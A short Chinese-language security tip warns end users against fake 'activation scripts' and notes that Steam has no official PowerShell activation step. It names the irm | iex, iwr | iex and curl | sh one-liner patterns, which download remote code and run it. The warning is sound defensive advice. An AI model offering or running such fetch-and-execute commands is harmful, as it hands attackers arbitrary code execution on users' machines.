对终端用户的最佳实践:对于任何要求执行 irm | iex / iwr | iex / curl | sh 类一行命令的"激活脚本"应一律拒绝执行——此类命令将任意远端代码下载并以当前用户权限执行,是当前 Windows 与 macOS 用户面临的主要初始访问向量之一。Steam 官方不存在需执行 PowerShell 脚本的激活流程。